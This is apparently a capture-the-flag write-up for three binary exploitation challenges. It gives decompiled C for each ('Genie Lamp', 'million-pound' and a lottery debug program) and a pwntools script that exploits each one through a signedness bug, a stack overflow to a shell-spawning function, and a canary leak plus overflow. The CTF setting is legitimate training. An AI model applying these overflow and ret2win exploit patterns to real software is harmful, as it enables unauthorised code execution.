1
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
2
{
3
  int v3; // [rsp+4h] [rbp-7Ch] BYREF
4
  int v4; // [rsp+8h] [rbp-78h] BYREF
5
  unsigned int v5; // [rsp+Ch] [rbp-74h]
6
  _BYTE v6[104]; // [rsp+10h] [rbp-70h] BYREF
7
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]
8

9
  v7 = __readfsqword(0x28u);
10
  v5 = 1;
11
  init(argc, argv, envp);
12
  puts("Hello, dear pwner! I am Genie Lamp!");
13
  puts("You can only make ONE wish.");
14
  puts("What do you want?");
15
  while ( 1 )
16
  {
17
    while ( 1 )
18
    {
19
      puts(&byte_2082);
20
      puts("1. Make more wishes");
21
      puts("2. Make a normal wish");
22
      puts("3. Get flag");
23
      printf("> ");
24
      __isoc99_scanf("%d", &v3);
25
      if ( v3 != 1 )
26
        break;
27
      puts("How many wishes do you want?");
28
      __isoc99_scanf("%d", &v4);
29
      if ( v4 > 0 )
30
      {
31
        puts("Sorry, you can't increase wishes.");
32
        exit(0);
33
      }
34
      v5 = v4;
35
      printf("You can still make %u wishes!\n", v4);
36
    }
37
    if ( v3 == 2 )
38
      break;
39
    if ( v3 == 3 )
40
    {
41
      if ( v5 <= 0x1BF51 )
42
        puts("Your wishes are not enough...");
43
      else
44
        win();
45
      exit(0);
46
    }
47
    puts("Invalid choice!");
48
  }
49
  puts("Tell me your wish:");
50
  __isoc99_scanf("%99s", v6);
51
  puts("Your wish has been granted!");
52
  exit(0);
53
}

1
int win()
2
{
3
  puts("Your endless wishes come true!");
4
  return system("/bin/sh");
5
}

1
from pwn import *
2
p = process('./pwn')
3

4
p.recvuntil(b"> ")
5
p.sendline(b'1')
6
p.recvuntil(b"How many wishes do you want?")
7
p.sendline(b'-1')
8
p.interactive()

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  _BYTE v4[103]; // [rsp+0h] [rbp-70h] BYREF
4
  unsigned __int8 v5; // [rsp+67h] [rbp-9h]
5
  unsigned __int64 number; // [rsp+68h] [rbp-8h]
6

7
  initialise();
8
  puts("== million pound ==");
9
  puts("I want one fine million-pound cheque,");
10
  puts("one brand-new million-pound cheque,");
11
  puts("all the exquisite million-pound cheques,");
12
  puts("a few more million-pound cheques on top,");
13
  puts("and another million-pound cheque fresh off the press.");
14
  puts("That is rather a lot of cheques, sir.");
15
  printf("How many should I prepare? ");
16
  number = read_number();
17
  v5 = cheque_bytes(number);
18
  if ( v5 <= 0x60u )
19
  {
20
    printf("What would you like written, sir? ");
21
    read_exact(0, v4, 8 * number);
22
    puts("Very good, sir.");
23
  }
24
  else
25
  {
26
    puts("That would draw too much attention, sir.");
27
  }
28
  return 0;
29
}

1
int staff_room()
2
{
3
  char *argv[2]; // [rsp+0h] [rbp-10h] BYREF
4

5
  argv[0] = "/bin/sh";
6
  argv[1] = 0;
7
  return execve("/bin/sh", argv, 0);
8
}

1
from pwn import *
2

3
# p = remote("127.0.0.1", 51742)
4
p = process('./million-pound')
5
p.recvuntil(b'How many should I prepare? ')
6
p.sendline(b'32')
7

8
win = 0x401394
9
payload = b'A' * 120 + p64(win)
10
p.recvuntil(b'What would you like written, sir? ')
11
payload += b'B' * (256 - len(payload))
12
p.send(payload)
13
p.interactive()

1
    Arch:       amd64-64-little
2
    RELRO:      Full RELRO
3
    Stack:      Canary found
4
    NX:         NX enabled
5
    PIE:        PIE enabled
6
    SHSTK:      Enabled
7
    IBT:        Enabled
8
    Stripped:   No

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  __int64 v3; // rax
4
  unsigned __int16 v5; // [rsp+6h] [rbp-Ah] BYREF
5
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]
6

7
  v6 = __readfsqword(0x28u);
8
  setvbuf(stdin, 0, 2, 0);
9
  setvbuf(stdout, 0, 2, 0);
10
  alarm(0x1Eu);
11
  puts("=== Anniversary Lottery Admin Debug ===");
12
  v3 = stack_guard();
13
  printf("[trace] active record: %p :: 0x%016lx\n", award_jackpot, v3);
14
  puts("[lottery] Submit a two-byte little-endian claim packet length.");
15
  puts("[lottery] Send claim packet:");
16
  read_exact((char *)&v5, 2u);
17
  if ( v5 && v5 <= 0x100u )
18
  {
19
    submit_claim(v5);
20
    return 0;
21
  }
22
  else
23
  {
24
    puts("[lottery] Invalid claim packet length.");
25
    return 0;
26
  }
27
}

1
unsigned __int64 award_jackpot()
2
{
3
  int fd; // [rsp+4h] [rbp-9Ch]
4
  ssize_t n; // [rsp+8h] [rbp-98h]
5
  _QWORD buf[17]; // [rsp+10h] [rbp-90h] BYREF _QWORD 在 64 位程序中表示 8 字节。buf[17] 的总大小 = 17 × 8 = 136 字节。read 的长度参数 0x7F = 127 字节。
6
  unsigned __int64 v4; // [rsp+98h] [rbp-8h]
7

8
  v4 = __readfsqword(0x28u);
9
  memset(buf, 0, 128);
10
  fd = open("/flag", 0);
11
  if ( fd < 0 )
12
  {
13
    puts("[lottery] Prize record unavailable.");
14
    exit(1);
15
  }
16
  n = read(fd, buf, 0x7Fu);
17
  if ( n > 0 )
18
  {
19
    write(1, "[lottery] Jackpot awarded: ", 0x1Bu);
20
    write(1, buf, n);
21
  }
22
  close(fd);
23
  return v4 - __readfsqword(0x28u);
24
}

1
from pwn import *
2

3
context.arch = "amd64"
4
context.log_level = "info"
5

6
p = remote("127.0.0.1", 63440)
7

8
p.recvuntil(b"[trace] active record: ")
9
leak = p.recvline().strip()
10
log.info(f"leak line: {leak}")
11
win = int(leak.split(b" ::")[0], 16)
12
canary = int(leak.split(b":: 0x")[1], 16)
13

14
log.success(f"win    = {hex(win)}")
15
log.success(f"canary = {hex(canary)}")
16
p.recvuntil(b"[lottery] Send claim packet:")
17
size = 0x60
18
p.send(p16(size))
19
payload = b'A' * 72 + p64(canary) + b'A' * 8 + p64(win)
20

21
p.send(payload)
22

23
p.interactive()